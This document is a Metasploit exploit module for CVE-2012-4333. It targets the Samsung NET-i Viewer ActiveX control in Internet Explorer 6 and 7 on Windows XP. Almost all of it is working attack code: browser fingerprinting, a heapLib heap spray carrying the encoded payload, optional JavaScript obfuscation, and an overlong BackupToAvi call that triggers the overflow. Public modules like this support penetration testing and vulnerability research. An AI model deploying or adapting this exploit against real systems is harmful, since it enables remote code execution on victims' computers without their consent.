##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => "Samsung NET-i Viewer Multiple ActiveX BackupToAvi() Remote Overflow",
        'Description' => %q{
          This module exploits a vulnerability in the CNC_Ctrl.dll ActiveX control installed
          with the Samsung NET-i viewer 1.37.

          Specifically, when supplying a long string for the fname parameter to the
          BackupToAvi method, an integer overflow occurs, which leads to a posterior buffer
          overflow due to the use of memcpy with an incorrect size, resulting in remote code
          execution under the context of the user.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Luigi Auriemma', # Vulnerability Discovery and PoC
          'juan vazquez' # Metasploit module
        ],
        'References' => [
          [ 'CVE', '2012-4333' ],
          [ 'OSVDB', '81453'],
          [ 'BID', '53193'],
          [ 'URL', 'http://aluigi.altervista.org/adv/netiware_1-adv.txt' ]
        ],
        'Payload' => {
          'Space' => 1024,
          'BadChars' => "\x00"
        },
        'DefaultOptions' => {
          'EXITFUNC' => 'thread',
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
        },
        'Platform' => 'win',
        'Targets' => [
          # Samsung NET-i viewer 1.37
          # CNC_Ctrl.dll 1.5.1.1
          [ 'Automatic', {} ],
          [
            'IE 6 on Windows XP SP3',
            {
              'Ret' => 0x0c0c0c0c,
              'Offset' => '0x800 - code.length',
            }
          ],
          [
            'IE 7 on Windows XP SP3',
            {
              'Ret' => 0x0c0c0c0c,
              'Offset' => '0x800 - code.length',
            }
          ]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2012-04-21',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
      ]
    )
  end

  def get_target(agent)
    # If the user is already specified by the user, we'll just use that
    return target if target.name != 'Automatic'

    if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
      return targets[1]  # IE 6 on Windows XP SP3
    elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
      return targets[2]  # IE 7 on Windows XP SP3
    else
      return nil
    end
  end

  def on_request_uri(cli, request)
    agent = request.headers['User-Agent']
    my_target = get_target(agent)

    # Avoid the attack if the victim doesn't have the same setup we're targeting
    if my_target.nil?
      print_error("Browser not supported: #{agent.to_s}")
      send_not_found(cli)
      return
    end

    print_status("Target set: #{my_target.name}")

    p = payload.encoded
    js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
    js_nops = Rex::Text.to_unescape("\x0c" * 4, Rex::Arch.endian(my_target.arch))
    randnop = rand_text_alpha(rand(100) + 1)

    js = <<-JS
    var heap_obj = new heapLib.ie(0x20000);
    var code = unescape("#{js_code}");
    var #{randnop} = "#{js_nops}";
    var nops = unescape(#{randnop});

    while (nops.length < 0x80000) nops += nops;
    var offset = nops.substring(0, #{my_target['Offset']});
    var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

    while (shellcode.length < 0x40000) shellcode += shellcode;
    var block = shellcode.substring(0, (0x80000-6)/2);

    heap_obj.gc();

    for (var i=1; i < 0x200; i++) {
      heap_obj.alloc(block);
    }
    JS

    js = heaplib(js, { :noobfu => true })

    # obfuscate on demand
    if datastore['OBFUSCATE']
      js = ::Rex::Exploitation::JSObfu.new(js)
      js.obfuscate(memory_sensitive: true)
    end

    bof = Rex::Text.to_unescape("\x0c" * 2048, Rex::Arch.endian(my_target.arch))

    html = <<-EOS
    <html>
    <head>
    <script>
    #{js}
    </script>
    </head>
    <body>
    <object id="target1" classid="CLSID:3D6F2DBA-F4E5-40A6-8725-E99BC96CC23A"></object>
    <script>
      target1.BackupToAvi(0, 0, 0, unescape("#{bof}"));
    </script>
    <body>
    </html>
    EOS

    html = html.gsub(/^ {4}/, '')

    print_status("Sending html")
    send_response(cli, html, { 'Content-Type' => 'text/html' })
  end
end